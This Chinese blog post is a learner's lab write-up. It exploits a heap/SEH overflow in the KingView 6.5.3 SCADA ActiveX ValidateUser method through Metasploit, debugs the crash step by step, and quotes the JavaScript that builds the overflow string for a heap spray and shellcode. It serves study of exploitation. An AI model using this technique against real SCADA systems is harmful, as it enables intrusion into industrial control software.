类别:堆溢出

描述:本次渗透利用了KingView6.5.3 SCADA中的ActiveX插件中存在漏洞的方法调用target.ValidateUser(arg1, arg2),通过缓冲区溢出覆盖了SEH,再利用堆喷射成功执行payload!

参考资料:《Metasploit魔鬼训练营》p261-p269

由于Metasploit没有相应的模块,所以可以参考exploit-db上的漏洞详情,自己编写代码:

  https://www.exploit-db.com/exploits/16936/

咱对ruby还不是太熟悉,就先偷下懒了。直接将下载的源代码kingview_SCADA_activeX_validateuser.rb放到exploits/windows/browser目录下去。

源码下载地址:https://community.rapid7.com/thread/1446#comments

看了一下作者的描述,大概是说按照栈溢出的方式没能成功攻击,所以这段代码实际上使用了堆溢出。

KingView ActiveX渗透攻击过程:

由于用到ActiveX控件,所以要现在靶机ie7浏览器上取消activeX的一些禁用设置。具体在“工具”菜单----》Internet选项----》选择“安全”选项卡----》选择“自定义级别”进行设置。

然后exploit就能成功植入meterpreter啦!

KingView ActiveX漏洞机理分析:

使用漏洞发布者的POC(Proof of Concept)代码作为样本,保存为本地html,使用OllyDbg打开IE再打开这个网页。多次中断就一直按f9运行,最终中断在这条指令

(这里和书中的地址不一样,我就是不太明白为什么之前ms06_087那里的指令地址会一样)

  03C09238    880C02          mov     byte ptr [edx+eax], cl

也就是指令在向0x00130000写入数据时发生了异常。

按alt+m可以查看内存布局,可见上面指令的操作已经超出栈区了,因此引发异常。

咱们可以再观察一下出错处的完整代码:

实际上就是一个循环,不断把内容复制到栈区中,直到遇到NULL字符退出循环。

咱们在上图0x03c09238处下断点,重新运行ie加载漏洞html。

我们复制的目的地址从0x0012DB78开始,而ebp的值为0x0012DE58。可知缓冲区的大小为两者相减等于0x2E0。而我们渗透代码中构造超长参数的部分如下:

129                         junk1="A";
130                         junk2="A";
131                         while (junk1.length<624){ junk1+=junk1;}
132                         junk1=junk1.substring(0,624);
133                         junk2=junk1;
134                         while (junk2.length<8073){ junk2+=junk2;}
135                         arg2=junk1+nse+seh+nops+shell+junk2;
136                         arg1="Anything";
137                         vulnerable.ValidateUser(arg1 ,arg2);

可知参数的长度大于缓冲区大小,且其中不含NULL字符,必定会造成溢出。

而通过fs:[0]可以知道seh(struct exception handler)指针在栈区中的地址是0x0012DDE8。

按F9运行后可以看见开始以每次1字节的速度向内存中写入同样的数据"A"(0x41)。那我们给这个断点设置个条件,让它直接跳到覆盖seh指针的地方:

按f9运行,到达SEH处开始进行覆盖。从这里开始写入的数据就不再是无意义的“A”了,而是复制了8个字节的特意构造的数据(即上面代码135行中arg2参数的nse+seh),后面再继续用0x90(即arg2参数中的nops)填充,用作堆喷射。接着是shell这个载荷,最后再用junk2即"A"填充。

最后就像前面说的栈溢出引发了异常,程序将调用seh,也就是栈区中的se handler,地址为0x72D1204E:

在0x72D1204E处下断点,按shift+f9跳过异常。

来到一段pop/pop/ret指令处:

观察栈可知第三条指令retn从栈中取出0x0012DDE8放入eip并转到该地址执行。而那里实际上就是刚刚的栈中SEH指针处:

也就是说程序会将数据(SEH地址)当成指令来运行!

而本来应该放置下一个SEH的地方被我们的溢出覆盖为909006EB。那么相应的指令就是:

EB 06使我们跳过了SEH指针的地址,来到了第一个90(即nop)的位置处。然后就是激动人心的heap spraying啦,一直滑行到咱们的shellcode处,大功告成!

总结:加深了对堆栈的理解,由于上次oracle漏洞分析没有做成功,所以通过这次实验才比较了解了覆盖SEH的渗透方法,其中较特别的一点是让程序将数据当做代码执行。除此之外,还学习使用了条件断点,以及用shift+f7/f8/f9来跳过异常的技巧。花了大概2天时间,还是慢了点。

而且感觉自己的大局观还不太好,很容易沉溺于细节当中,不过这也无可厚非,毕竟还是刚刚入门。下一次呢可以尝试为调试过程分好步骤,最后再综合起来总结思考。

转载于:https://www.cnblogs.com/justforfun12/p/5324408.html

第三方插件渗透攻击之KingView相关推荐

  1. 渗透测试——网络服务渗透攻击

    网络服务渗透攻击指的是:在之前的博客中描述的内存攻击中,以远程主机运行的某个网络服务程序为目标,向该目标服务开放端口发送内嵌恶意内容并符合该网络服务协议的数据包,利用网络服务程序内部的安全漏洞,劫持目 ...

  2. Kali渗透测试:使用browser_autopwn2模块进行渗透攻击

    Kali渗透测试:使用browser_autopwn2模块进行渗透攻击 如果觉得一个一个地选择模块很麻烦, 也可以使用browser_autopwn模块.这种攻击的思路是渗透者构造一个攻击用的Web服 ...

  3. 七、Kali Linux 2 渗透攻击

    渗透攻击 如果把目标系统上的漏洞比作阿克琉斯的脚踵,那么漏洞渗透工具就是帕里斯手中的利箭. 在第6章中,我们介绍了如何使用远程控制工具,而在这一章中我们将会介绍如何将远程控制软件的被控端发送到目标主机 ...

  4. Dialogue System for Unity文档中英对照版(简雨原创翻译)第五篇(第三方插件拓展)

    接续上面,很遗憾这里开始讲一些第三方插件的使用了,但是我们手头没有这些收费的东东,只可以去官网看下在线的运行效果(国内谁买个全套的,分享下呀) 官网地址在这里 To set up and play t ...

  5. Kali 渗透测试:利用HTA文件进行渗透攻击

    Kali 渗透测试:利用HTA文件进行渗透攻击 由于浏览器安全技术发展很快,很多时候面对一些安全的浏览器(就是暂时没有发现漏洞的浏览器), 这时通常需要选择一种不需要依赖漏洞的手段,这种手段看起来是个 ...

  6. 134安装教程_PS教程连载第135课:PS第三方插件安装方法

    点击图片  1元抢购  PS.PR.AE等课程活动 PS教程连载第135课 PS第三方插件安装方法 格式:mp4视频 素材领取:请查看文章底部 现在有许多外挂滤镜开发商将滤镜的安装程序设计的非常人性化 ...

  7. metasploit 利用MS08-067渗透攻击xp系统全过程

    工具:metasploit,目标系统 windows xp sp3 English 渗透攻击过程  1.search MS08-067  2. use  exploit/windows/smb/ms0 ...

  8. 我圣贤为何发起第三方插件商店和桌面应用商店?

    我圣贤为何发起第三方插件商店和桌面应用商店? 2010年当我听说"手机应用商店""与开发者三七分成",就立即涉足,不到一个月的时间,我用Nokia的Aptana ...

  9. 渗透攻击(NT/2000系统)

    作者:xiaolu 1.什么叫渗透攻击: 简单的说就是被黑主机没有明显的系统漏洞,利用同一 网段下其它主机的问题将它洗白. 核心技术是: 1:交换与非交换环境下的数据嗅探, 2:对于LINXU/UNI ...

最新文章

  1. Android环境结构--安装Eclipse错
  2. 插入10000条数据测试DB性能
  3. 【PC工具】简单好用的截屏gif录制小软件
  4. Ubuntu下Topcoder配置
  5. php手机论坛程序,网站开发-php开发手机论坛(8)-编辑帖子
  6. 最新cuDNN 7[Linux]百度云下载[免费] 适用于CUDA 10.0
  7. 博通:NFC将成手机标配nbsp;新芯…
  8. (转帖)如何在DE2上安裝μClinux作業系統? (Nios II )
  9. python中type与isinstance异同
  10. java课程设计代码_java(课程设计之记事本界面部分代码公布)
  11. 《Java EE互联网轻量级框架整合开发》在京东预售,发个目录
  12. Fedora34/35/36 软件闪退解决
  13. Java爬虫(三)后台发请求获取页面解析数据
  14. MATLAB 数学应用 初等数学 绘制虚数和复数数据图
  15. 最全HTTP协议详解
  16. XSuperNEST套料引擎
  17. CentOS7 安装 Oracle XE 图文教程
  18. background-clip
  19. 环迅支付深耕跨境支付,为跨境电商崛起添翼
  20. 斐讯PSG1208 K1 路由器刷机

热门文章

  1. Android JNI(一)——NDK与JNI基础
  2. Makefile初步理解
  3. 区域转换为二值图像_零基础一文读懂AI深度学习图像识别
  4. 使用darknet-dnn-GPU方式识别物体(一)
  5. 协议圣经 RTSP(三)
  6. qt 背景和控件布局_Qt编写自定义控件26-平铺背景控件
  7. 【Flink】Flink 报错 flink 1.12.5 启动作业报 partition not found
  8. 【clickhouse】yandex 官方 BalancedClickhouseDataSource 源码分析
  9. 【Flink】FLink 1.12 版本的 Row 类型 中的 RowKind 是干嘛的
  10. 【es】使用ElasticSearch的44条建议 性能优化